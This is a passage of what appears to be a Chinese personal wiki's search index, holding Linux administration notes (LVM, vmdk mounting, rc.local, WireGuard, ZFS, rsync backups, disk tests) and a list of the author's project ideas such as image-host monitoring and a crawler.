ubuntu-vg/ubuntu-lv successfully resized.\\nroot@docker3:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv\\nresize2fs 1.44.1 (24-Mar-2018)\\nFilesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required\\nold_desc_blocks = 25, new_desc_blocks = 153\\nThe filesystem on /dev/ubuntu-vg/ubuntu-lv is now 320600064 (4k) blocks long.\\n\\nroot@docker3:/d# df -h\\n/dev/mapper/ubuntu--vg-ubuntu--lv  1.2T  170G  986G  15% /\\n</code></pre>\"},{\"location\":\"Linux-setup/#vmdklvm\",\"title\":\"\\u6302\\u8f7d\\u591a\\u4e2avmdk\\u4e2d\\u7684LVM\\u5206\\u533a\",\"text\":\"<p>@TAG \\u865a\\u62df\\u673a \\u79bb\\u7ebf\\u64cd\\u4f5c</p> <p>\\u53c2\\u8003\\uff1a https://superuser.com/questions/1376690/how-to-mount-an-lvm-volume-from-a-dd-raw-vmdk-image</p> <p>\\u8bd5\\u8fc7\\u7528windows\\u76847z\\u76f4\\u63a5\\u6253\\u5f00\\u538b\\u7f29\\u5305\\uff0c\\u53ea\\u80fd\\u770b\\u5230LVM\\u6216\\u8005\\u591a\\u4e2aimg\\u6587\\u4ef6\\uff0c\\u4e0d\\u80fd\\u8df3\\u8fc7\\u89e3\\u538b\\u6b65\\u9aa4\\uff0c\\u6240\\u4ee5\\u8fd8\\u662f\\u5728linux\\u4e0a\\u6302\\u8f7d\\u5427</p> <p>\\u5047\\u8bbe\\u6709\\u4e09\\u4e2avmdk\\u6587\\u4ef6\\u9700\\u8981\\u6302\\u8f7d\\uff0c\\u5f97\\u5230\\u7684lvm\\u662f<code>/dev/ubuntu-vg/ubuntu-lv</code>\\uff0c\\u53ea\\u8bfb\\u6302\\u8f7d\\u5230<code>/mnt</code></p> <p>\\u9700\\u8981<code>apt install -y kpartx</code></p> <p>\\u6302\\u8f7d mount.sh:</p> <pre><code>#!/bin/bash\\nkpartx -a -v disk1.vmdk\\nkpartx -a -v disk2.vmdk\\nkpartx -a -v disk3.vmdk\\nsleep 2\\npvscan\\nmount  -o ro /dev/ubuntu-vg/ubuntu-lv /mnt\\n</code></pre> <p>\\u53d6\\u6d88\\u6302\\u8f7d umount.sh:</p> <pre><code>#!/bin/bash\\numount /mnt\\nlvchange -an /dev/ubuntu-vg/ubuntu-lv\\nvgchange -an /dev/ubuntu-vg\\nkpartx -d disk1.vmdk\\nkpartx -d disk2.vmdk\\nkpartx -d disk3.vmdk\\n</code></pre>\"},{\"location\":\"Linux-setup/#rclocal\",\"title\":\"\\u542f\\u7528rc.local\",\"text\":\"<p>\\u53c2\\u8003 https://www.linuxbabe.com/linux-server/how-to-enable-etcrc-local-with-systemd</p> <p>\\u786e\\u8ba4\\u6709\\u6ca1\\u6709\\u542f\\u7528rc.local: <code>systemctl status rc-local.service</code>\\u5982\\u679c\\u6709\\u7eff\\u8272\\u7684<code>Active: active (exited)</code>\\u51fa\\u73b0\\u5c31\\u662f\\u5df2\\u7ecf\\u542f\\u7528</p> <pre><code>nano /etc/systemd/system/rc-local.service\\nprintf '%s\\\\n' '#!/bin/bash' 'exit 0' | sudo tee -a /etc/rc.local\\nchmod +x /etc/rc.local\\nsystemctl enable rc-local\\n</code></pre> <pre><code>[Unit]\\nDescription=/etc/rc.local Compatibility\\nConditionPathExists=/etc/rc.local\\n\\n[Service]\\nType=forking\\nExecStart=/etc/rc.local start\\nTimeoutSec=0\\nStandardOutput=tty\\nRemainAfterExit=yes\\nSysVStartPriority=99\\n\\n[Install]\\nWantedBy=multi-user.target\\n</code></pre>\"},{\"location\":\"Linux-setup/#apttranslation\",\"title\":\"apt\\u7981\\u7528Translation\",\"text\":\"<p>apt update\\u7684\\u65f6\\u5019\\u53d1\\u73b0\\u4e00\\u5806\\u7ffb\\u8bd1\\u7684\\u6761\\u76ee\\uff0c\\u4e0d\\u60f3\\u770b\\u5230\\u8fd9\\u4e9b</p> <p>\\u521b\\u5efa/etc/apt/apt.conf.d/99translations</p> <pre><code>Acquire::Languages \\\"none\\\";\\n</code></pre>\"},{\"location\":\"Linux-setup/#wireguard\",\"title\":\"\\u5f00\\u673a\\u81ea\\u542f\\u52a8wireguard\",\"text\":\"<pre><code>systemctl enable wg-quick@wg0.service\\nsystemctl daemon-reload\\nservice wg-quick@wg0 start\\nservice wg-quick@wg0 status\\n</code></pre>\"},{\"location\":\"Linux-setup/#do-release-upgrade\",\"title\":\"\\u4fee\\u590d\\u5931\\u8d25\\u7684do-release-upgrade\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://www.kingsware.de/2019/01/05/repair-a-damaged-package-system-after-ubuntu-dist-upgrade/</p> <p>\\u53ef\\u80fd\\u7684\\u539f\\u56e0\\u662f\\u4f7f\\u7528\\u4e86ppa\\u6e90\\uff0c\\u800c\\u65b0\\u7684\\u53d1\\u884c\\u7248\\u91cc\\u8fd9\\u4e9b\\u8f6f\\u4ef6\\u5305\\u5df2\\u7ecf\\u8fdb\\u5165\\u5b98\\u65b9\\u6e90\\u9020\\u6210\\u51b2\\u7a81</p> <pre><code>apt update\\napt upgrade\\napt dist-upgrade\\napt install -f\\ndpkg --configure -a\\napt autoremove\\n</code></pre> <p>\\u5982\\u679c\\u4f60\\u9700\\u8981\\u7981\\u7528ppa\\u6e90\\uff0c\\u4f60\\u53ef\\u4ee5\\u76f4\\u63a5\\u53bb\\u5220\\u9664<code>/etc/apt/sources.list.d</code>\\u7684\\u6587\\u4ef6\\uff0c\\u6216\\u8005\\uff1a</p> <pre><code>add-apt-repository --remove ppa:PPA_REPOSITORY_NAME/PPA-NAME\\n</code></pre>\"},{\"location\":\"Linux-setup/#wireguard_1\",\"title\":\"\\u89e3\\u51b3wireguard \\u5185\\u6838\\u6a21\\u5757\\u7f16\\u8bd1\\u5931\\u8d25\",\"text\":\"<p>\\u62a5\\u9519\\u4fe1\\u606f <code>error: \\u2018const struct ipv6_stub\\u2019 has no member named \\u2018ipv6_dst_lookup_flow\\u2019</code></p> <p>\\u67e5\\u5230\\u8fd9\\u4e9b\\u94fe\\u63a5\\uff1a https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=959157</p> <p>\\u5b98\\u65b9\\u5df2\\u7ecf\\u7ed9\\u51fa\\u4e86patch\\uff1a https://git.zx2c4.com/wireguard-linux-compat/commit/?id=4602590adee92557847e61c8cd14445d35fbfa2e</p> <p>\\u4f46\\u662f\\u6211\\u5df2\\u7ecf\\u4ece\\u6700\\u65b0git\\u4e0b\\u8f7d\\uff0c\\u8fd9\\u4e2apatch\\u662f\\u5df2\\u7ecf\\u6253\\u4e86\\u7684\\uff0c\\u8fd8\\u662f\\u540c\\u6837\\u7684\\u62a5\\u9519</p> <p>\\u770bpatch\\u53d1\\u73b0\\u8fd9\\u4e2a\\u6539\\u52a8\\u5c31\\u662f\\u5728\\u5224\\u65ad\\u5185\\u6838\\u7248\\u672c\\uff0c\\u5982\\u679c\\u7b26\\u5408\\u7279\\u5b9a\\u7248\\u672c\\u5c31\\u5f15\\u5165<code>ipv6_dst_lookup_flow</code>\\u7684#define\\u8bed\\u53e5</p> <p>\\u4f46\\u4f30\\u8ba1\\u8fd9\\u4e2a\\u7248\\u672c\\u5224\\u65ad\\u662f\\u4e0d\\u5b8c\\u5907\\u7684\\uff0c\\u6b63\\u597d\\u6f0f\\u6389\\u4e86\\u5f53\\u524d\\u7684\\u5185\\u6838\\u7248\\u672c\\uff0c\\u6240\\u4ee5\\u89e3\\u51b3\\u65b9\\u6848\\u5f88\\u7b80\\u5355\\uff1a\\u5f3a\\u884c\\u628a\\u8fd9\\u4e2adefine\\u52a0\\u5165\\u5373\\u53ef</p> <pre><code>git clone https://git.zx2c4.com/wireguard-linux-compat\\ncd wireguard-linux-compat/src\\necho \\\"#define ipv6_dst_lookup_flow(a, b, c, d) ipv6_dst_lookup(a, b, &amp;dst, c) + (void *)0 ?: dst\\\" &gt;&gt; compat/compat.h\\nmake\\nmake install\\n</code></pre>\"},{\"location\":\"Linux-setup/#luks\",\"title\":\"LUKS\",\"text\":\"<p>\\u6559\\u7a0b\\uff1a https://www.cyberciti.biz/security/howto-linux-hard-disk-encryption-with-luks-cryptsetup-command/</p>\"},{\"location\":\"Linux-setup/#_18\",\"title\":\"\\u9a8c\\u8bc1\\u5bc6\\u94a5\\u662f\\u5426\\u6b63\\u786e\",\"text\":\"<pre><code>cryptsetup luksDump \\u8bbe\\u5907\\ncryptsetup luksOpen --test-passphrase --key-slot 0 \\u8bbe\\u5907 &amp;&amp; echo ok\\ncryptsetup luksOpen --test-passphrase --key-file \\u5bc6\\u94a5\\u6587\\u4ef6 --key-slot 1 \\u8bbe\\u5907 &amp;&amp; echo ok\\n</code></pre>\"},{\"location\":\"Linux-setup/#ntp-http\",\"title\":\"ntp\\u7684\\u66ff\\u4ee3 \\u4f7f\\u7528http\\u66f4\\u65b0\\u65f6\\u95f4\",\"text\":\"<p>\\u5728ntp\\u670d\\u52a1\\u5668\\u8bbf\\u95ee\\u4e0d\\u4e86\\u7684\\u65f6\\u5019\\uff0c\\u6211\\u4eec\\u4e5f\\u53ef\\u4ee5\\u4f7f\\u7528http\\u534f\\u8bae\\u7684Date\\u5b57\\u6bb5\\u6765\\u83b7\\u53d6\\u65f6\\u95f4</p> <p>\\u53c2\\u8003\\uff1a https://superuser.com/questions/307158/how-to-use-ntpdate-behind-a-proxy</p> <pre><code>#!/bin/bash\\ndate -s \\\"$(curl -i  \\\"http://www.google.com/\\\" 2&gt;/dev/null | grep -E '^[[:space:]]*[dD]ate:' | sed 's/^[[:space:]]*[dD]ate:[[:space:]]*//' | head -1l | awk '{print $1, $3, $2,  $5 ,\\\"GMT\\\", $4 }' | sed 's/,//')\\\"\\n</code></pre>\"},{\"location\":\"Linux-setup/#rsync\",\"title\":\"\\u4f7f\\u7528rsync\\u5907\\u4efd\\u5168\\u76d8\",\"text\":\"<p>\\u53c2\\u8003\\uff1a</p> <ul> <li>\\u4e3b\\u8981\\u53c2\\u6570\\u6765\\u81ea https://github.com/laurent22/rsync-time-backup</li> <li>https://ostechnix.com/backup-entire-linux-system-using-rsync/</li> <li>\\u4e0d\\u8981\\u8de8\\u8fc7mount\\u8fb9\\u754c\\u7528<code>-xx</code> https://superuser.com/questions/626141/rsync-recursive-on-same-mount-only</li> <li>\\u663e\\u793a\\u8fdb\\u5ea6\\u7528<code>--info=progress2</code> https://www.cyberciti.biz/faq/show-progress-during-file-transfer/</li> </ul> <pre><code>rsync --info=progress2 -D --numeric-ids --links --hard-links --itemize-changes --times --recursive --perms --owner --group --stats --human-readable -xx / /target/\\n</code></pre> <p>\\u5c0f\\u6587\\u4ef6\\u592a\\u591a\\u4e0d\\u5efa\\u8bae\\u4f7f\\u7528rsync-time-backup\\uff0c\\u4f1a\\u4ea7\\u751f\\u5927\\u91cf\\u7684\\u786c\\u94fe\\u63a5\\uff0c\\u5360\\u636e\\u5927\\u91cfbtrfs metadata\\u7a7a\\u95f4</p> <p>\\u5907\\u4efd\\u8fc7\\u7a0b\\u4e2d\\u663e\\u793a\\u7684\\u7406\\u89e3\\uff1a https://unix.stackexchange.com/questions/215271/understanding-the-output-of-info-progress2-from-rsync</p> <ul> <li><code>xfr#495</code> \\u8868\\u793a\\u5f53\\u524d\\u6b63\\u5728\\u4f20\\u8f93\\u7b2c495\\u4e2a\\u6587\\u4ef6</li> <li><code>ir-chk=1020/3825</code> \\u5df2\\u7ecf\\u77e5\\u9053\\u67093825\\u4e2a\\u6587\\u4ef6\\uff0c\\u5176\\u4e2d1020\\u4e2a\\u9700\\u8981\\u68c0\\u67e5\\u76ee\\u6807\\u4f4d\\u7f6e\\u7684\\u6587\\u4ef6\\u662f\\u5426\\u4e00\\u81f4</li> </ul>\"},{\"location\":\"Linux-setup/#_19\",\"title\":\"\\u8ba9\\u7279\\u5b9a\\u8fdb\\u7a0b\\u8d70\\u6307\\u5b9a\\u7f51\\u5361\",\"text\":\"<p>\\u60f3\\u505a\\u5230\\u7c7b\\u4f3ccurl ip.sb \\u2013interface tun1\\u7684\\u6548\\u679c</p> <p>\\u5982\\u679c\\u662f\\u6709\\u52a8\\u6001\\u94fe\\u63a5libc\\u53ef\\u4ee5\\u7528proxychains\\uff08golang\\u5c31\\u4e0d\\u80fd\\u7528\\uff09</p> <p>\\u7b80\\u5355\\u7a0b\\u5e8f\\u4e5f\\u8bb8\\u80fd\\u7528\\u57fa\\u4e8eptrace\\u7684graftcp\\uff08wsl\\u4e0d\\u80fd\\u7528\\uff0c\\u590d\\u6742\\u7a0b\\u5e8f\\u4e5f\\u4e0d\\u80fd\\u7528\\uff09</p> <p>\\u627e\\u5230\\u4e86cgroup\\u7684\\u65b9\\u6848\\uff0c\\u786e\\u5b9e\\u6709\\u6548\\u4f46\\u4ecd\\u7136wsl\\u4e0d\\u80fd\\u7528\\uff1a</p> <p>\\u53c2\\u8003 https://serverfault.com/questions/669430/how-to-bypass-openvpn-per-application</p> <p>\\u5e95\\u5c42\\u7528\\u7684cgroup\\u521b\\u5efa\\u4e2a\\u72ec\\u7acb\\u7684\\u7f51\\u7edc\\u547d\\u540d\\u7a7a\\u95f4\\uff0c\\u4fee\\u6539route\\u9ed8\\u8ba4\\u8def\\u7531\\uff0c\\u8ba9\\u8fdb\\u7a0b\\u53bb\\u8fd9\\u4e2a\\u7a7a\\u95f4\\u91cc\\u9762\\u6267\\u884c</p> <p>\\u9700\\u8981\\u4fee\\u6539\\u91cc\\u9762\\u7684<code>real_interface</code> \\u548c <code>real_interface_gateway</code></p> <p>\\u51fd\\u6570test_routing\\u4e5f\\u53ef\\u4ee5\\u76f4\\u63a5return\\uff0c\\u4e0d\\u9700\\u8981\\u68c0\\u67e5</p> <pre><code>wget https://gist.githubusercontent.com/kriswebdev/a8d291936fe4299fb17d3744497b1170/raw/novpn.sh\\nchmod +x novpn.sh\\n#\\u8bb0\\u5f97\\u4fee\\u6539\\u4ee3\\u7801\\n./novpn.sh curl ip.sb\\n</code></pre>\"},{\"location\":\"Linux-setup/#zfs\",\"title\":\"\\u914d\\u7f6e\\u9ad8\\u6027\\u80fdzfs\",\"text\":\"<p>\\u53c2\\u8003\\uff1a - https://wiki.lustre.org/Optimizing_Performance_of_SSDs_and_Advanced_Format_Drives - https://github.com/allada/bsc-archive-snapshot - https://itnext.io/how-i-replaced-lvm-with-zfs-filesystem-for-my-home-nas-server-7165f620e07f - https://wiki.ubuntu.com/Kernel/Reference/ZFS</p> <pre><code>add-apt-repository ppa:jonathonf/zfs\\napt install -y zfsutils-linux zfs-dkms\\nzpool create -o ashift=12 tank /dev/sda\\nzfs set recordsize=32K tank\\nzfs set sync=disabled tank\\nzfs set redundant_metadata=most tank\\nzfs set atime=off tank\\nzfs set logbias=throughput tank\\nzfs set compression=on tank\\n\\nzfs create tank/project1\\n</code></pre>\"},{\"location\":\"Linux-setup/#zfs_1\",\"title\":\"zfs\\u5feb\\u7167\\u4e0e\\u6062\\u590d\",\"text\":\"<pre><code>zfs snapshot -r tank/projects@snap1\\nzfs list -t snapshot\\nzfs rollback mypool/projects@snap1\\n</code></pre> <p>clone\\u53ef\\u4ee5\\u5b9e\\u73b0\\u76f4\\u63a5\\u590d\\u5236CoW, \\u9700\\u8981\\u5148\\u5feb\\u7167:</p> <pre><code>zfs snapshot -r tank/projects@snap1\\nzfs clone tank/projects@snap1 tank/projects-clone\\n</code></pre> <p>\\u5982\\u679c\\u786c\\u76d8\\u6302\\u4e86\\u7528<code>zpool scrub tank</code></p>\"},{\"location\":\"Linux-setup/#_20\",\"title\":\"\\u786c\\u76d8\\u6d4b\\u8bd5\",\"text\":\"<p>smart\\u81ea\\u68c0\\uff1a</p> <pre><code>smartctl -t short /dev/sda\\n#wait 2 minutes\\nsmartctl -l selftest /dev/sda\\n</code></pre> <p>\\u8bfb\\u5199\\u6027\\u80fd\\uff1a</p> <pre><code>hdparam -Tt /dev/sda\\n\\napt install -y fio\\nfio --randrepeat=1 --ioengine=libaio --direct=1 --gtod_reduce=1 --name=fiotest --filename=testfio --bs=4k --iodepth=64 --size=8G --readwrite=randrw --rwmixread=75 &amp;&amp; rm testfio\\n</code></pre>\"},{\"location\":\"Linux-setup/#etcfstab\",\"title\":\"\\u9a8c\\u8bc1/etc/fstab\\u6b63\\u786e\\u6027\",\"text\":\"<p>\\u53c2\\u8003 https://serverfault.com/questions/174181/how-do-you-validate-fstab-without-rebooting</p> <pre><code>mount -fav\\nfindmnt --verify --verbose\\n</code></pre>\"},{\"location\":\"Misson/\",\"title\":\"\\u8bf4\\u660e\",\"text\":\"<p>\\u8fd9\\u4e2a\\u6587\\u4ef6\\u662f\\u6211\\u7684Idea\\u4eec\\uff0c\\u6316\\u4e2a\\u5751\\u5f85\\u586b</p> <p>\\u6709\\u5174\\u8da3\\u548c\\u6211\\u4e00\\u8d77\\u5e72\\u6216\\u544a\\u77e5\\u73b0\\u6709\\u7684\\u6280\\u672f\\uff0c\\u6b22\\u8fce\\u63d0issue\\u6216\\u53d1\\u9001\\u90ae\\u4ef6\\uff1agithub@qiushi.ac.cn</p>\"},{\"location\":\"Misson/#_2\",\"title\":\"\\u56fe\\u5e8a\\u53ef\\u7528\\u6027\\u76d1\\u6d4b+\\u7279\\u6027\\u6d4b\\u8bd5\\u6570\\u636e\\uff1f\",\"text\":\"<p>\\u73b0\\u5728\\u6211\\u4eec\\u5df2\\u7ecf\\u6709\\u5f88\\u591a\\u56fe\\u5e8a\\u670d\\u52a1\\uff0c\\u4f46\\u4f3c\\u4e4e\\u5e76\\u6ca1\\u6709\\u53ef\\u7528\\u6027\\u76d1\\u6d4b\\u6570\\u636e\\uff0c\\u76f4\\u63a5\\u4f7f\\u7528\\u4e4b\\u524d\\u8fd8\\u9700\\u8981\\u81ea\\u884c\\u6d4b\\u8bd5\\u662f\\u5426\\u6709\\u9632\\u76d7\\u94fe\\u7b49\\u7279\\u6027\\uff0c\\u6709\\u6ca1\\u6709\\u8fd9\\u6837\\u4e00\\u4e2a\\u56fe\\u5e8a\\u6d4b\\u8bd5\\u670d\\u52a1\\u6765\\u63d0\\u4f9b\\u8fd9\\u4e9b\\u6570\\u636e\\u5462\\uff1f</p> <p>\\u4f8b\\u5982\\u8fd9\\u4e9b\\u56fe\\u5e8a\\u4e0a\\u4f20\\u4ee3\\u7801\\uff1a</p> <p>https://www.npmjs.com/package/upimg/v/0.1.8 https://github.com/aimerforreimu/auxpi/tree/dev/server</p> <p>\\u6bcf\\u5929\\u6d4b\\u4e00\\u6b21\\u4e0a\\u4f20\\u670d\\u52a1\\u53ef\\u7528\\u6027\\uff0c\\u6bcf\\u5c0f\\u65f6\\u6d4b\\u4e00\\u6b21 cdn \\u4e0b\\u8f7d\\u53ef\\u9760\\u6027</p> <p>\\u7279\\u6027\\u6307\\u6807\\uff1a</p> <p>\\u53ef\\u9760\\u6027\\uff1a\\u4f1a\\u4e0d\\u4f1a 404\\u3001\\u670d\\u52a1\\u5668\\u8dd1\\u8def\\uff08\\u5982\\u718a\\u732b\\u76f4\\u64ad\\u3001360 \\u4e91\\u76d8\\uff09\\u3001\\u662f\\u5426\\u53cb\\u597d\\uff08\\u5f15\\u7528\\u81ea npm upimg \\u5305 0.1.8\\uff1a\\u7531\\u4e8e\\u67d0\\u516c\\u53f8\\u65b9\\u9762\\u65bd\\u538b\\uff0cupimg \\u5c06\\u4e0d\\u7ef4\\u62a4\\u4ee5\\u4e0a\\u5217\\u8868\\u5916\\u670d\\u52a1\\u7684\\u53ef\\u7528\\u6027\\uff09</p> <p>\\u6613\\u7528\\u6027\\uff1a\\u7279\\u5b9a\\u8bed\\u8a00\\u4e0b\\u662f\\u5426\\u5df2\\u7ecf\\u6709\\u5f00\\u6e90\\u4ee3\\u7801\\u5b9e\\u73b0\\u4e0a\\u4f20\\u529f\\u80fd \\uff08\\u4f8b\\u5982\\u817e\\u8baf\\u4e91 cos \\u524d\\u7aef\\u4e0a\\u4f20\\u5c31\\u6ca1\\u6709\\u540e\\u7aef\\u8bed\\u8a00\\u7684\\u5b9e\\u73b0\\uff09</p> <p>\\u524d\\u7aef\\u53ef\\u7528\\uff1a\\u53ef\\u5426\\u5728\\u5176\\u4ed6\\u7f51\\u7ad9\\u4e0a\\u4f20\\uff0c\\u662f\\u5426\\u9632\\u76d7\\u94fe\\uff0c\\u662f\\u5426\\u53ef\\u4ee5\\u8de8\\u57df\\u8bfb\\u53d6\\u5185\\u5bb9\\uff0c\\u8bbf\\u95ee\\u9891\\u7387\\u9650\\u5236\\uff0c\\u76f4\\u63a5\\u6253\\u5f00 url \\u662f\\u5426\\u5f3a\\u5236\\u4e0b\\u8f7d</p> <p>\\u540e\\u7aef\\u53ef\\u7528\\uff1a\\u7ef4\\u62a4\\u767b\\u5f55 cookie \\u662f\\u5426\\u5bb9\\u6613\\uff08\\u767b\\u5f55\\u9a8c\\u8bc1\\u7801\\uff09\\uff0c\\u8bf7\\u6c42\\u9891\\u7387\\u9650\\u5236</p> <p>\\u4e0d\\u6b62\\u4e8e\\u56fe\\u7247\\uff1a\\u662f\\u5426\\u538b\\u7f29\\u56fe\\u7247\\uff0c\\u662f\\u5426\\u53ef\\u4ee5\\u4e0a\\u4f20\\u975e\\u56fe\\u7247\\u4e8c\\u8fdb\\u5236\\uff0c\\u5355\\u4e2a\\u6587\\u4ef6\\u6700\\u5927\\u5927\\u5c0f</p> <p>\\u5b89\\u5168\\uff1a\\u662f\\u5426\\u652f\\u6301\\u5220\\u9664\\uff0c\\u4f20\\u8f93 https\\uff0c\\u8bbf\\u95ee https</p> <p>misc\\uff1a\\u751f\\u6210 url \\u957f\\u5ea6\\uff0c\\u662f\\u5426\\u9650\\u5236\\u56fd\\u5916\\u8bbf\\u95ee\\uff0ccdn \\u8282\\u70b9\\u5e7f\\u5ea6\\uff0c\\u662f\\u5426\\u88ab\\u5899</p>\"},{\"location\":\"Misson/#deny404\",\"title\":\"Deny404\",\"text\":\"<p>360\\u6781\\u901f\\u6d4f\\u89c8\\u5668\\u66fe\\u7ecf\\u6709\\u7684\\u7f51\\u9875\\u5feb\\u7167\\u529f\\u80fd\\uff0c\\u80fd\\u4e0d\\u80fd\\u7528Chrome\\u6269\\u5c55\\u5b9e\\u73b0</p> <p>\\u8981\\u6c42\\u5728\\u4e0d\\u5f15\\u7528\\u4efb\\u4f55\\u5916\\u90e8\\u8d44\\u6e90\\u7684\\u60c5\\u51b5\\u4e0b\\u5c55\\u793a\\u51fa\\u548c\\u539f\\u7f51\\u9875\\u57fa\\u672c\\u76f8\\u540c\\u7684\\u6548\\u679c</p> <p>\\u751f\\u6210\\u6587\\u4ef6\\u5c3d\\u91cf\\u5c11\\uff0c\\u80fdpush\\u5230github</p> <p>\\u53e6\\u5916\\u4e5f\\u9700\\u8981\\u5168\\u6587\\u68c0\\u7d22</p> <p>\\u5165\\u624b\\uff1a\\u8003\\u8651\\u590d\\u5236\\u7f51\\u9875\\u6587\\u672c+cutycapt\\u4fdd\\u5b58\\u56fe\\u7247</p> <p>\\u76ee\\u524d\\u7684\\u5b9e\\u73b0\\uff1a\\u5370\\u8c61\\u7b14\\u8bb0/Evernote\\u7684\\u526a\\u85cf\\u63d2\\u4ef6\\uff0c\\u7136\\u540e\\u7528api\\u5bfc\\u51fa \\u53c2\\u89c1evernote2ipfs</p>\"},{\"location\":\"Misson/#easycrawler\",\"title\":\"EasyCrawler\",\"text\":\"<p>\\u7ed9\\u51fa\\u4e24\\u4e09\\u4e2a\\u7f51\\u9875url\\uff0c\\u81ea\\u52a8diff\\u5206\\u6790\\u7f51\\u9875\\u5185\\u5bb9\\u6240\\u5728\\u7684tag\\uff0c\\u5f97\\u51fa\\u4eceurl\\u2192\\u5185\\u5bb9\\u7684\\u7b97\\u6cd5</p> <p>\\u751a\\u81f3\\u7ed9\\u51fa\\u7f51\\u7ad9\\u57df\\u540d\\u76f4\\u63a5\\u722c\\u53d6\\u5168\\u7ad9\\u5e76\\u63d0\\u53d6\\u5185\\u5bb9\\u5230\\u6570\\u636e\\u5e93\\u4ee5\\u4fbf\\u538b\\u7f29\\u5b58\\u50a8</p> <p>\\u5165\\u624b\\uff1a\\u4e5f\\u8bb8\\u9700\\u8981\\u4e86\\u89e3lxml</p>\"},{\"location\":\"Misson/#waf\",\"title\":\"WAF\",\"text\":\"<p>\\u5f00\\u6e90\\u7684WAF? </p>\"},{\"location\":\"Misson/#_3\",\"title\":\"\\u6587\\u4ef6\\u6574\\u7406\",\"text\":\"<p>\\u6709\\u4e86Everything\\u627e\\u6587\\u4ef6\\u65b9\\u4fbf\\u4e86\\u4e00\\u70b9</p> <p>windows\\u4e0b\\u6709\\u6ca1\\u6709\\u5bf9\\u6587\\u4ef6\\u8fdb\\u884c\\u6807\\u8bb0\\u5173\\u952e\\u8bcd\\u3001\\u673a\\u5bc6\\u7b49\\u7ea7\\u7684explorer\\u7684\\u6269\\u5c55\\u5462\\u3002\\u3002\\u3002</p> <p>\\u673a\\u5bc6\\u6587\\u4ef6\\u8981\\u81ea\\u52a8\\u52a0\\u5bc6\\uff0c\\u9700\\u8981google authenticator\\u4e24\\u6b65\\u9a8c\\u8bc1\\u89e3\\u5bc6</p> <p>\\u91cd\\u8981\\u6587\\u4ef6\\u9700\\u8981\\u81ea\\u52a8\\u5f02\\u5730\\u5907\\u4efd\\uff0c\\u5e76\\u63d0\\u9192\\u4f7f\\u7528\\u79fb\\u52a8\\u786c\\u76d8\\u79bb\\u7ebf\\u5907\\u4efd+\\u63d2\\u5165\\u786c\\u76d8\\u540e\\u81ea\\u52a8\\u5907\\u4efd\\u9700\\u8981\\u5907\\u4efd\\u7684\\u4e1c\\u897f</p> <p>\\u6709\\u6ca1\\u6709Explorer\\u53f3\\u952e\\u6269\\u5c55\\u5bf9\\u6587\\u4ef6\\u8fdb\\u884c\\u6807\\u8bb0tag\\u7684\\u5de5\\u5177\\uff1f</p> <p>\\u6807\\u8bb0\\u4e3a\\u91cd\\u8981\\u7684\\u6587\\u4ef6\\u81ea\\u52a8\\u91c7\\u7528\\u591a\\u79cd\\u5b58\\u50a8\\u65b9\\u6848\\u8fdb\\u884c\\u5907\\u4efd+\\u7248\\u672c\\u63a7\\u5236\\uff0c\\u652f\\u6301\\u81ea\\u5df1\\u5916\\u63a5\\u786c\\u76d8\\uff08\\u63d0\\u9192\\uff09\\u3001\\u4e0a\\u4f20\\u5230\\u5305\\u62ec\\u4f46\\u4e0d\\u9650\\u4e8e\\uff1a</p> <ul> <li>\\u4e0d\\u53ef\\u9760\\uff1a\\u81ea\\u5df1\\u7684\\u786c\\u76d8\\u3001\\u767e\\u5ea6\\u7f51\\u76d8</li> <li>\\u514d\\u8d39\\u7684\\u4e91\\u76d8\\u670d\\u52a1\\uff1a\\u5929\\u7ffc\\u4e91\\u76d8\\u3001\\u575a\\u679c\\u4e91\\u3001\\u4ebf\\u65b9\\u4e91\\u3001\\u5976\\u725b\\u5feb\\u4f20\\u3001\\u6d59\\u5927\\u4e91\\u76d8</li> <li>\\u81ea\\u5efa\\u7684\\u4e91\\u4e0a\\u5b58\\u50a8\\uff1a\\u81ea\\u5df1\\u670d\\u52a1\\u5668(Seafile)\\u3001Google Drive\\u3001OneDrive</li> <li>\\u5546\\u4e1a\\u5316\\u7684\\u5bf9\\u8c61\\u5b58\\u50a8\\uff1a\\u963f\\u91ccOSS\\u3001\\u817e\\u8baf\\u4e91COS\\u3001\\u53c8\\u62cd\\u4e91\\u3001\\u4e03\\u725b\\u3001AWS S3\\u3001\\u767e\\u5ea6\\u4e91</li> <li>\\u4e5f\\u80fd\\u5b58\\u4f46\\u4e0d\\u9002\\u5408\\uff1a\\u90ae\\u4ef6\\u9644\\u4ef6\\u3001Github\\u3001\\u5370\\u8c61\\u7b14\\u8bb0</li> </ul> <p>\\u5907\\u4efd\\u7684\\u540c\\u65f6\\u8981\\u652f\\u6301\\u6587\\u4ef6\\u52a0\\u5bc6\\u5b58\\u50a8</p> <p>\\u6807\\u8bb0\\u4e3a\\u5de5\\u4f5c\\u6587\\u4ef6\\u8981\\u652f\\u6301\\u624b\\u673a\\u7aef\\u8bbf\\u95ee</p> <p>\\u7528\\u6237\\u53ea\\u8981\\u9f20\\u6807\\u53f3\\u952e\\u70b9\\u4e00\\u70b9\\uff0c\\u540e\\u53f0\\u81ea\\u52a8\\u5904\\u7406\\u52a0\\u5bc6\\u3001\\u4f20\\u8f93\\u7684\\u95ee\\u9898\\uff0c\\u5e76\\u8003\\u8651\\u5355\\u4e00\\u670d\\u52a1\\u4e0d\\u518d\\u53ef\\u7528\\u7684\\u98ce\\u9669</p> <p>\\u55ef\\u3002\\u3002\\u3002\\u65e2\\u8981\\u7ecf\\u6d4e\\u53c8\\u8981\\u53ef\\u9760\\u4f3c\\u4e4e\\u5f88\\u9ebb\\u70e623333\\uff1f</p>\"},{\"location\":\"Misson/#_4\",\"title\":\"\\u4e00\\u7ad9\\u5f0f\\u83b7\\u53d6\\u6240\\u6709\\u6211\\u5e94\\u8be5\\u77e5\\u9053\\u7684\\u4fe1\\u606f\",\"text\":\"<p>\\u4e5f\\u8bb8\\u5c31\\u662f\\u5982\\u4f55\\u63a8\\u9001\\u5230\\u65e5\\u5386\\u5427\\u3002\\u3002\\u3002win10\\u6709\\u6ca1\\u6709\\u53ef\\u7f16\\u7a0b\\u7684\\u684c\\u9762\\u5c0f\\u90e8\\u4ef6\\u5462\\u3002\\u3002\\u3002</p> 